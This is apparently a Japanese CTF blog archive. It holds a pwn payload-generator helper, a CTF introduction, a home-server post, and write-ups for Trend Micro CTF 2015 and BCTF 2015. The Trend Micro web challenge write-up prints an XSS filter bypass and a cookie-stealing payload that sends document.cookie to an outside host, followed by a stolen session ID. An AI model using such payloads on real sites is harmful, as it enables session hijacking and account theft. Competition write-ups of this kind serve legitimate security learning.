バランスを取りたい

よくCTFの記事を書きます

PayloadGenerator

片手で気合で埋めてくCTF Advent Calendar 2015の4日目です。

書いてくれたのむ。

Pwn、やってますか

時々Pwnの問題を解いているとき、ポインタの扱いでちょっと困るときがある。

例えば、リターンアドレスから既知のバッファ上に設置されたシェルコードへ飛びたい場合、大体次のようなコードを書く。

payload = 'A' * 40 + p32(buf_addr + 100)
payload = payload.ljust(100, '\0')
payload += sc

まぁ特に問題ない気がするけど、60文字弱のパディングを入れるのは微妙。もっと調節してもいいけど計算するのは面倒。

どういうことかっていうとこんな感じに書きたい。

payload = PayloadGenerator([
    'A' * 40,
    Ptr32(sc),
]).generate(base=buf_addr)

できました。

payload_generator.py · GitHub

bss = 0x804a000
execve = 0x48484848

a = PayloadGenerator([
    p32(execve),
    'AAAA',
    Ptr32('/bin/sh\0'),
    Ptr32([
        Ptr32('/bin/sh\0'),
        p32(0)
    ]),
    Ptr32(p32(0)),
])
print a.generate(base=0).encode('hex')
print a.generate(base=bss).encode('hex')

こういうコードを書くと、

4848484841414141140000001c000000300000002f62696e2f736800140000000000000000000000
484848484141414114a004081ca0040830a004082f62696e2f73680014a004080000000000000000

こんな感じに帰ってくる。

雑さ

だいぶ雑に書いてるので多分バグる

多分便利なんだろうけどこれを使うほどの問題に遭遇してない気がするし必要ないっぽい。

よろしく

CTFのススメ

CTF Advent Calendar 2日目の記事です。

1日目を取りそこねてしまったので 2日目 で導入記事を書きます。ちなみに今日は12/3です。

CTF とは

この記事を読んでいる人の多くは恐らくCTFを知っていると思いますが、CTFとはコンピュータ全般の技能にどの程度習熟しているかを競う競技です。

競技方式は複数あって、

  • Jeopardy
  • Attack & Defense
  • 変則 Attack & Defense (King of the Hill)

が代表的です。

Jeopardy

Jeopardyはアメリカのクイズ番組の形式が元になっていて、ジャンルごとに分けられたクイズ形式の問題を解いていきます。ジャンルとしてはReverse Engineering, Exploitation, Cryptography, Web, Forensic, Steganographyなど多岐にわたります。順位は解いた問題の総得点と解いた早さで決まります。

Attack & Defense

Attack & Defenseでは各チームにサーバーが割り当てられ、そのサーバー上で稼働するサービスをお互いに攻撃します。攻撃が成功すると攻撃を受けたチームのポイントの一部が攻撃チームに移動します。攻撃を続けつつ、サービスの脆弱性を塞いだり通信を監視したりしなければならないため、かなり忙しい展開になります。

変則Attack & Defense (King of the Hill)

変則Attack & Defenseは普通のAttack & Defenseとは異なり各チームにサーバーが与えられることはありません。運営が管理する問題サーバーに対して攻撃を行いフラグを盗み出します。このフラグをSubmitするとチームにAttackポイントが与えられます。一方、Defenseというのはサーバーを自チームの管理下に置くことを指していて、サーバーを占領していることを示す特定の文字列を問題サーバーに書き込んでおくと時間経過によりチームにDefenseポイントが与えられます。

最終的にはAttackポイントとDefenseポイントの和で順位を決定します。2014年度までのSECCON FinalsやTrendMicro CTF Finalsでこの変則Attack & Defenseが採用されました。

CTFに参加する

常設CTF

常に問題を解くことができるように常時開催中のCTFです。常時開催中のため、解法を公開するのは控えましょう。

イベント型CTF

24時間や48時間など一定期間のみ開催するCTFです。常設CTFに比べると難易度の高い問題が出題されることが多いです。

CTFtimeという便利なサイトがあるのでいつCTFが開催されるかをこまめにチェックしましょう。ちなみにCTFtimeに表示される時間は間違っていることが 非常に 多いため、時間はCTFの公式サイトで確認した方がいいです。

おわりに

超おすすめ書籍情報です。

疲れたのでこれくらいにします。

2000円NUC 近況

買ったまでは良かったけど使い道が無いみたいな話のある2000円NUCの現在をお知らせします。

パーツ類

  • 本体: BLKDCP847SKE (2000円)
  • ACアダプタ: 19V75W (2500円くらい)
  • メモリ: 2GB * 2 (iMac 2011 Mid から)
  • ブート用USBメモリ: Transcend 8GB (600円くらい?)
  • miniPCIe to USB3.0 x2 (BuyMoreでジャンク扱い500円)
  • USB3.0 ピンヘッダ to USB3.0ポート (800円)
  • AC to IDE電源 (1300円)

とまぁこんな感じで多分まだ余裕で1万円超えてないと思います。メモリを使いまわせたのが割とデカい。

ただ、19Vやら12V/5Vを供給できるようないい感じの電源がなく、それぞれACアダプタを買ってしまったので全体に対するACアダプタへの支出が非常に大きいですね。

用途

  • iMacに刺さっていた500GBのHDDをUSBで繋いでMBPのTimeMachineとして
  • Twitterの各種イベントをPushover経由で端末に通知する
  • さくらVPS+OpenVPNでアパートのネットワークの外側から入る

今後

  • 録画サーバー化したいが金がない
  • Ubuntuのmini.isoからよくセットアップするのでaptミラーを置きたいがHDDを買う踏み切りがつかない。

総評

  • うちにはサーバーがなかったので適当に何かを動かすときに便利。
  • サーバーマシンがないので適当に刺さってるATX電源から分岐して電源を持ってくるみたいなことができなくてつらい。

Trend Micro CTF 2015 予選 Writeup

_0x0_ で 0x0 のメンバーと一緒に出てました。

解いた問題
  • Attack-Offensive 300
  • Crypto 100, 200, 500
  • Programming 200

Crypto100

問題文は忘れましたが鍵の1ビットが間違っているらしいので公開鍵を調査します。

$ openssl rsa -in PublicKey.pem -pubin -text
Modulus (256 bit):
    00:b6:2d:ce:9f:25:81:63:57:23:db:6b:18:8f:12:
    f0:46:9c:be:e0:cb:c5:da:cb:36:c3:6e:0c:96:b6:
    ea:7b:fc
Exponent: 65537 (0x10001)
writing RSA key
-----BEGIN PUBLIC KEY-----
MDwwDQYJKoZIhvcNAQEBBQADKwAwKAIhALYtzp8lgWNXI9trGI8S8EacvuDLxdrL
NsNuDJa26nv8AgMBAAE=
-----END PUBLIC KEY-----
$ ./rsatool.py info PublicKey.pem
N = 82401872610398250859431855480217685317486932934710222647212042489320711027708
e = 65537

Nが 256 bit で明らかに素因数分解する問題のようです。

適当に factordb に投げる。 http://factordb.com/index.php?query=82401872610398250859431855480217685317486932934710222647212042489320711027708

やたら素因数が多いので明らかにNが間違っている。256bit なので 255 通り 0 と 1 を入れ替えて素因数分解を試すスクリプトを書いたのだが、よく見ると N が偶数になっているので最下位の 1bit が間違っていることは自明だった…。

ということで

N = 82401872610398250859431855480217685317486932934710222647212042489320711027709

素因数分解はmsieveに投げて行ったが、SageMath Onlineでも投げたまま放っておいたら素因数分解できていたらしい。

あとはやるだけ。

$ openssl rsa -in key.pem -text
Private-Key: (256 bit)
modulus:
    00:b6:2d:ce:9f:25:81:63:57:23:db:6b:18:8f:12:
    f0:46:9c:be:e0:cb:c5:da:cb:36:c3:6e:0c:96:b6:
    ea:7b:fd
publicExponent: 65537 (0x10001)
privateExponent:
    66:15:bd:16:c8:f9:7c:25:34:5e:9b:e0:a3:2b:c5:
    9f:99:ce:0e:40:4f:21:be:bb:e9:7c:e3:bd:6d:c7:
    8d:01
prime1:
    00:d1:fd:95:65:da:e2:64:f5:fd:57:95:3d:bf:b9:
    e8:0d
prime2:
    00:de:18:43:68:2a:b2:b4:82:cc:ff:50:6f:02:cf:
    77:b1
exponent1:
    09:d0:77:46:0e:67:dc:5e:1e:dc:14:0e:91:c2:67:
    95
exponent2:
    3f:9f:47:c0:11:6b:3c:16:b4:4e:f7:65:b5:b2:65:
    21
coefficient:
    70:5c:89:87:14:da:41:59:01:f6:92:6a:28:2d:8d:
    39
writing RSA key
-----BEGIN RSA PRIVATE KEY-----
MIGpAgEAAiEAti3OnyWBY1cj22sYjxLwRpy+4MvF2ss2w24Mlrbqe/0CAwEAAQIg
ZhW9Fsj5fCU0XpvgoyvFn5nODkBPIb676XzjvW3HjQECEQDR/ZVl2uJk9f1XlT2/
uegNAhEA3hhDaCqytILM/1BvAs93sQIQCdB3Rg5n3F4e3BQOkcJnlQIQP59HwBFr
PBa0TvdltbJlIQIQcFyJhxTaQVkB9pJqKC2NOQ==
-----END RSA PRIVATE KEY-----
$ ./rsatool.py info key.pem
N = 82401872610398250859431855480217685317486932934710222647212042489320711027709
e = 65537
p = 279125332373073513017147096164124452877
q = 295214597363242917440342570226980714417
d = 46174319388196978265129247000251984002598502609436833115707069256591953333505
$ openssl rsautl -decrypt -in enc -inkey key.pem
TMCTF{$@!zbo4+qt9=5}

Crypto200

画像で紙に印刷された Pythonソースコードを渡されます。1 と I と l が見分けにくくてつらい。

f:id:xrekkusu:20150928125511p:plain

CBC の特性について問う問題のようです。CBC の復号化では

{
P_i = AES^{-1}(C_i) \bigoplus C_{i-1}
}

という式で復号化されます。

つまり、画像ではマスクされている 1 ブロック目の暗号文は、 2 ブロック目を復号化したものに 2 ブロック目の平文をXORすれば求まることになります。 同様に、 1 ブロック目の暗号文を復号化したものと 1 ブロック目の平文を XOR すると IV を求めることができます。

共有鍵は 2 文字 = 16bit 足りないだけなので適当に総当りして、求めた 1 ブロック目の暗号文と画像で一部見えてるの hex が一致するものを取ってくればいい。

from Crypto.Cipher import AES
import sys
import string

plain = "The message is protected by AES!"
block2 = "307df037c689300bbf2812ff89bc0b49".decode('hex')

KEY = "5d6I9pfR7C1JQt" # 2 more chars

def decrypt(message, passphrase, IV='\0'*16):
    aes = AES.new(passphrase, AES.MODE_CBC, IV)
    return aes.decrypt(message)

REALKEY = ''
block1 = ''
for a in string.printable:
    for b in string.printable:
        TMPKEY = KEY + a + b
        xored_plain = decrypt(block2, TMPKEY, plain[16:])
        hexa = hex(int(xored_plain.encode('hex'), 16))

        if '0xfe' in hexa and 'ec3L' in hexa:
            print hexa
            block1 = xored_plain
            REALKEY = TMPKEY

print decrypt(block1, REALKEY, plain[:16])
0xfe1199011d45c87d10e9e842c1949ec3L
Key:rVFvN9KLeYr6

Crypto 500

解けたのに間違ってるらしい、クソとか言ってたら問題が間違っていたらしく、シャワーを浴びていたら他の人が submit していた。

500 点問題なのにやるだけ。問題文がわかりにくかった。

もうちょっと言えば BASE64 の1文字は 6bit なのでどう頑張っても隣接した2文字の影響しか受けない。というわけで 52 * 52 の総当りを行った。エンコードする上で 6 bitに満たない時は 0 を埋めるのを忘れずに。

import string

chars = string.ascii_letters
b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'

table = set()
# gen table
for c in chars:
    b = '{:08b}'.format(ord(c))

    table.add(b[:6])
    table.add(b[2:])
    table.add(b[6:] + '0000')
    table.add(b[4:] + '00')

    for d in chars:
        b2 = '{:08b}'.format(ord(c))
        table.add(b[6:] + b2[:4])
        table.add(b[4:] + b2[:2])

a = '+/0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz'
for t in table:
    num = int(t, 2)
    a = a.replace(b64[num], '')

print a
+/f7
sha1sum: 67569763552b4e9b8ac950be0d25f446f8470c60

Attack-Offensive 300

そんなに早く解いた気はしないけど何故か first solve で 3pt 追加でもらえた問題。

長々と書くと面倒なので要所のみ。

  1. お問い合わせページのフォームが POST だけでなく GET でもパラメータを受け付けることに気づく
  2. XSS ができるらしい。 script は消去が1度しか消去していないので scrscriptipt で回避
  3. location.href が使えないらしいことに気づく
  4. 外部からスクリプトを読み込む URL を作ってそこからさらに XSS
  5. document.write('<img src="http://mydomain/?' + escape(document.cookie) + '">');
  6. 奪ったセッションIDを使って診断結果を見ると名前の部分にフラグ
PHPSESSID=mj20l7bae2r5d2jod8e40b0q12
TMCTF{B1ack L!st1ng Is N0t 3nough}

BCTF 2015 experiment (English version)

Hi, we have a short survey with 50 questions. You can get a flag as award once you finished it.
$ nc 104.197.7.111 13135

According to the description, we can get flag after solving 50 questions. It seems easy, isn't it?


First 10 are questions judging the answer is integer or not.

Then, problems changed to asking about a sequence.

Description: The prime numbers.
The sequence starts with: 2,3,5,7,11,13,17,19,23,29
(first term is for n = 1)
n = 2418, Answer:

First several are fixed problems, but others are random.
We are given about 2 minutes, so we have enough time to solve it.


The sequence are found in THE ON-LINE ENCYCLOPEDIA OF INTEGER SEQUENCES with the very same description.
I calculated the number based on it many times, then I noticed that the answer was in the calculated table in LINKS section.


Last 5 questions, we couldn't solve with the same way!

Luckily, they are fixed problems but needed little long time to find the answer.

Q46: Prime number (n is over 20 million)
Q47: Very large Catalan number
Q48: Number of sets of rooted connected graphs where every block is a complete graph.
Q49: Shapes of height-balanced AVL trees with n nodes.
Q50: a(n) = number of partitions of n (the partition numbers) modulo 1000000007

Although I couldn't understand the means of Q48-50, I copy-and-pasted expressions to Pari/GP and Mathematica and made my computer work hard.

Q46

? prime(23338403)
%1 = 439756091

Q48

etr[p_] := Module[{b}, b[n_] := b[n] = If[n == 0, 1, Sum[Sum[d*p[d], {d, Divisors[ j]}]*b[n-j], {j, 1, n}]/n]; b]; b = etr[aa]; c = etr[b]; aa = Function[{n}, If[n == 0, 0, c[n-1]]]; a = etr[aa]; Table[a[n], {n, 0, 700}] 

Q49

a[n_] := Module[{B}, B[x_, y_, d_, a_, b_] := If[a+b <= d, Expand[x+B[x^2+2*x*y, x, d, a+b, a]], x]; Coefficient[B[z, 0, n, 1, 1], z, n]]; 
a[1298]

Expand function is a very important technique. Without it, this calculation took very very long time and the question would be time out.

Q50

? {a(n) = if( n<0, 0, polcoeff( 1 / eta(x + x * O(x^n)), n))};
? a(23370) % 1000000007
%2 = 438545155


Finally, I wrote code below.

import re
import time
import gmpy
import sympy
import requests
from pwn import *
 
s = remote('104.197.7.111', 13135)
s.recvuntil("Okay, let's begin with simple questions.\n")
 
problem_number = 1
 
for _ in range(10):
    print 'No. %d --------------------------' % problem_number
    x = s.recvuntil('Answer (yes/no): ')
    print x
    m = re.search('Is (.+) an integer or not?', x)
    expr = m.group(1)
    try:
        ans = str(safeeval.expr(expr))
        print expr
        print ans
        if ('.' not in ans) or re.search(r'\.0+$', ans):
            s.send('yes\n')
        else:
            s.send('no\n')
    except:
        s.send('no\n')
    problem_number += 1
 
print s.recvuntil('Time for calculating weird integer sequences.')
 
for i in range(35):
    print 'No. %d --------------------------' % problem_number
    s.recvuntil('Description: ')
    desc = s.recvuntil('\n')[:-1]
 
    buf = s.recv(1)
    seq = None
    if 'T' in buf:
        s.recvuntil('starts with: ')
        seq = s.recvuntil('\n')[:-1]
 
    print 'Description:', desc
    print 'The sequence starts with:', seq
    search = 'name:"%s"' % desc
    if seq and len(seq) < 40:
        search += ' seq:"%s"' % seq
 
    print 'Searching %s' % search
    res = requests.get('http://oeis.org/search', params={'q': search})
 
    m = re.search('<a href="/A([0-9]+)"', res.text)
    num = m.group(1)
    print 'found page:', num
 
    res = s.recvuntil('Answer: ')
    m = re.search(r' = (\d+), ', res)
    n = int(m.group(1))
    print 'n = ', n
 
    res = requests.get('http://oeis.org/A%s/b%s.txt' % (num, num))
    m = re.search('^%d +(-?[0-9]+)' % n, res.text, re.MULTILINE)
    if m is None:
        print 'not found'
        ans = raw_input('Input answer: ')
    else:
        ans = int(m.group(1))
    print 'Answer =', ans
    s.send(str(ans) + '\n')
    problem_number += 1
    time.sleep(0.2)
 
 
print 'No. %d --------------------------' % problem_number
s.recvuntil('Description: ')
desc = '"' + s.recvuntil('\n')[:-1] + '"'
s.recvuntil('The sequence starts with: ')
seq = s.recvuntil('\n')
res = s.recvuntil('Answer: ')
m = re.search(r'n = (\d+), ', res)
n = int(m.group(1))
print 'n = ', n
ans = raw_input('Input answer: ')
print 'Answer =', ans
s.send('%s\n' % ans)
problem_number += 1
 
print 'No. %d --------------------------' % problem_number
s.recvuntil('Description: ')
desc = '"' + s.recvuntil('\n')[:-1] + '"'
s.recvuntil('The sequence starts with: ')
seq = s.recvuntil('\n')
res = s.recvuntil('Answer: ')
m = re.search(r'n = (\d+), ', res)
n = int(m.group(1))
ans = sympy.binomial(2*n, n)/(n+1)
print 'Answer =', ans
s.send('%d\n' % ans)
problem_number += 1
 
s.interactive()

This program works fine once every 3 times. Programming is difficult.

BCTF{Y0u_h4ve_m0ar_7ermz_than_205}

BCTF 2015 experiment

--- English version is here (poor English)---

Hi, we have a short survey with 50 questions. You can get a flag as award once you finished it.
$ nc 104.197.7.111 13135

問題文によれば、50問問題を解けばフラグをくれるらしい。簡単っぽい?

最初の10問は四則演算の結果が整数か否かを答える問題。
次に、

Description: The prime numbers.
The sequence starts with: 2,3,5,7,11,13,17,19,23,29
(first term is for n = 1)
n = 2418, Answer:

のような問題が出されるので、該当する数を答える。
ちなみにはじめ数問は固定の問題だったが途中からは完全にランダムな問題になった。
制限時間はそこそこ長く、1~2分くらい放っておいても大丈夫。


数列をオンライン大数列辞典で検索すると、全く同じDescriptionの数列があることがわかる。
それを元に人力で何度も計算して解いていると、LINKSの欄に計算済みの値が載っていてかつ問題で提示されるnが含まれていることに気づいた。

最後の5問はちょっと形式が変わって、計算済みの値が載っていない問題が出題された。

46問目: 2000万オーバーの順番にある素数
47問目: リストに載っていないカタラン数
48問目: Number of sets of rooted connected graphs where every block is a complete graph.
49問目: Shapes of height-balanced AVL trees with n nodes.
50問目: a(n) = number of partitions of n (the partition numbers) modulo 1000000007

最後の方はなんだかよくわからない。Pari/GPとかMathematicaに式をコピペしてCPUをぶん回した。
46問目

? prime(23338403)
%1 = 439756091

48問目

etr[p_] := Module[{b}, b[n_] := b[n] = If[n == 0, 1, Sum[Sum[d*p[d], {d, Divisors[ j]}]*b[n-j], {j, 1, n}]/n]; b]; b = etr[aa]; c = etr[b]; aa = Function[{n}, If[n == 0, 0, c[n-1]]]; a = etr[aa]; Table[a[n], {n, 0, 700}] 

49問目

a[n_] := Module[{B}, B[x_, y_, d_, a_, b_] := If[a+b <= d, Expand[x+B[x^2+2*x*y, x, d, a+b, a]], x]; Coefficient[B[z, 0, n, 1, 1], z, n]]; 
a[1298]

計算式内にExpandを入れると計算量が減って速く解ける。
これに気づいていなければ永遠に解けなかった。

50問目

? {a(n) = if( n<0, 0, polcoeff( 1 / eta(x + x * O(x^n)), n))};
? a(23370) % 1000000007
%2 = 438545155


以下、コードです

import re
import time
import gmpy
import sympy
import requests
from pwn import *
 
s = remote('104.197.7.111', 13135)
s.recvuntil("Okay, let's begin with simple questions.\n")
 
problem_number = 1
 
for _ in range(10):
    print 'No. %d --------------------------' % problem_number
    x = s.recvuntil('Answer (yes/no): ')
    print x
    m = re.search('Is (.+) an integer or not?', x)
    expr = m.group(1)
    try:
        ans = str(safeeval.expr(expr))
        print expr
        print ans
        if ('.' not in ans) or re.search(r'\.0+$', ans):
            s.send('yes\n')
        else:
            s.send('no\n')
    except:
        s.send('no\n')
    problem_number += 1
 
print s.recvuntil('Time for calculating weird integer sequences.')
 
for i in range(35):
    print 'No. %d --------------------------' % problem_number
    s.recvuntil('Description: ')
    desc = s.recvuntil('\n')[:-1]
 
    buf = s.recv(1)
    seq = None
    if 'T' in buf:
        s.recvuntil('starts with: ')
        seq = s.recvuntil('\n')[:-1]
 
    print 'Description:', desc
    print 'The sequence starts with:', seq
    search = 'name:"%s"' % desc
    if seq and len(seq) < 40:
        search += ' seq:"%s"' % seq
 
    print 'Searching %s' % search
    res = requests.get('http://oeis.org/search', params={'q': search})
 
    m = re.search('<a href="/A([0-9]+)"', res.text)
    num = m.group(1)
    print 'found page:', num
 
    res = s.recvuntil('Answer: ')
    m = re.search(r' = (\d+), ', res)
    n = int(m.group(1))
    print 'n = ', n
 
    res = requests.get('http://oeis.org/A%s/b%s.txt' % (num, num))
    m = re.search('^%d +(-?[0-9]+)' % n, res.text, re.MULTILINE)
    if m is None:
        print 'not found'
        ans = raw_input('Input answer: ')
    else:
        ans = int(m.group(1))
    print 'Answer =', ans
    s.send(str(ans) + '\n')
    problem_number += 1
    time.sleep(0.2)
 
 
print 'No. %d --------------------------' % problem_number
s.recvuntil('Description: ')
desc = '"' + s.recvuntil('\n')[:-1] + '"'
s.recvuntil('The sequence starts with: ')
seq = s.recvuntil('\n')
res = s.recvuntil('Answer: ')
m = re.search(r'n = (\d+), ', res)
n = int(m.group(1))
print 'n = ', n
ans = raw_input('Input answer: ')
print 'Answer =', ans
s.send('%s\n' % ans)
problem_number += 1
 
print 'No. %d --------------------------' % problem_number
s.recvuntil('Description: ')
desc = '"' + s.recvuntil('\n')[:-1] + '"'
s.recvuntil('The sequence starts with: ')
seq = s.recvuntil('\n')
res = s.recvuntil('Answer: ')
m = re.search(r'n = (\d+), ', res)
n = int(m.group(1))
ans = sympy.binomial(2*n, n)/(n+1)
print 'Answer =', ans
s.send('%d\n' % ans)
problem_number += 1
 
s.interactive()

ちなみにこのコードは3回に1回くらいしか完走してくれない、プログラミングは難しい。

BCTF{Y0u_h4ve_m0ar_7ermz_than_205}